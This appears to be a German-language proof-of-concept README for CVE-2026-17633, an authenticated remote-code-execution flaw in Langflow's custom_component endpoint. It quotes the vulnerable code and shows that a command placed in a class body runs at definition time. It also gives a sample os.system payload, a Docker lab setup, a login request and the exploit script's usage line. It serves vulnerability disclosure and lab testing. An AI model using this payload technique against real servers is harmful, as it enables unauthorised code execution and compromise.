
PoC für CVE-2026-17633 — Authentifizierte RCE in IBM Langflow OSS 1.0.0–1.10.3 über den custom_component-Endpunkt. Enthält Forschung zum Bypass des AST-Scanners von CVE-2026-17632.
Nur für Bildungszwecke. Nur gegen Systeme verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben.
Langflow ist eine Open-Source-Low-Code-Plattform zum Erstellen von LLM-gestützten Anwendungen und KI-Agenten-Workflows. Sie bietet eine visuelle Drag-and-Drop-Oberfläche, in der Benutzer Komponenten — Modelle, Retriever, Tools, Speicher, benutzerdefinierten Python-Code — zu ausführbaren Flows verbinden können. Die Funktion „Custom Component" ermöglicht es Benutzern, das Verhalten von Komponenten direkt in Python zu definieren, was die Angriffsfläche darstellt, die in dieser Untersuchung ausgenutzt wird.
Am 5. August 2026 veröffentlichte IBM ein Security Bulletin, das eine Reihe von Schwachstellen offenlegte, die Langflow OSS Versionen 1.0.0 bis 1.10.3 betreffen. Das vollständige Bulletin ist verfügbar unter:
Diese Untersuchung konzentriert sich auf zwei CVEs aus dieser Charge:
| CVE | CVSS | Zusammenfassung |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | Authentifizierte RCE über /api/v1/custom_component — Code wird direkt an exec() übergeben, ohne Sicherheitsscan |
| CVE-2026-17632 | 8.8 HIGH | Umgehung des AST-Sicherheitsscanners — präparierter Python-Code passiert scan_code_security() mit is_safe: True und führt dabei beliebige OS-Befehle aus |
Beide CVEs wurden unabhängig durch statische Quellcodeanalyse von Langflow 1.10.3 entdeckt.
Diese Untersuchung wurde in einer isolierten Laborumgebung gegen eine selbst gehostete Langflow-Instanz durchgeführt. Alle Ergebnisse werden verantwortungsvoll offengelegt. Verwenden Sie dies nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung.
Der Endpunkt POST /api/v1/custom_component in Langflow OSS 1.0.0–1.10.3 akzeptiert beliebigen Python-Code von einem authentifizierten Benutzer und führt ihn serverseitig über die Python-Funktion exec() aus. Im Gegensatz zum Agentic-Assistant-Pfad ruft dieser Endpunkt nicht scan_code_security() oder einen anderen AST-basierten Inhaltsvalidator vor der Ausführung auf. Jeder authentifizierte Benutzer kann mit einer einzigen HTTP-Anfrage Remote Code Execution erreichen.
CWE-94 — Unsachgemäße Kontrolle der Codegenerierung
/api/v1/custom_componentQuelle: langflow/api/v1/endpoints.py — Zeile 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Wenn LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true gesetzt ist (üblich in Produktionsbereitstellungen), gelangt der Code direkt zu build_custom_component_template() mit null Inhaltsprüfung.
prepare_global_scope() und ast.ExprDie Ausführungskette führt zu create_class() in lfx/custom/validate.py, das prepare_global_scope() aufruft, bevor die Klasse kompiliert und ausgeführt wird:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Ein bloßer Funktionsaufruf auf Modulebene (z. B. os.system(...)) ist ein ast.Expr-Knoten — er wird nicht von der isinstance-Prüfung erfasst und stillschweigend verworfen. Code, der jedoch innerhalb des Klassenkörpers platziert wird, ist Teil des ClassDef-Knotens und wird vollständig ausgeführt, wenn die Klasse über exec() innerhalb von compile_class_code() definiert wird.
Dies ist die entscheidende Erkenntnis: Die Nutzlast muss sich innerhalb des Klassenkörpers befinden, nicht auf Modulebene.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Kein LLM erforderlich. Keine Scanner-Umgehung nötig. Eine einzige HTTP-Anfrage.
| Anforderung | Wert |
|---|---|
| Host-Betriebssystem | Kali Linux (getestet) |
| Docker | CE 5.x + Compose-Plugin v2 |
| Langflow-Image | langflowai/langflow:1.10.3 |
| RAM | Mindestens 4 GB für den Container |
Erstellen Sie ein Verzeichnis für das Labor und speichern Sie Folgendes als docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Starten Sie das Labor:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Melden Sie sich bei http://127.0.0.1:7860 mit den oben definierten Superuser-Anmeldedaten an. Das Zugriffstoken wird im Browser-Cookie access_token_lf gespeichert. Alternativ können Sie es über die API abrufen:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Kopieren Sie den Wert access_token aus der Antwort.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]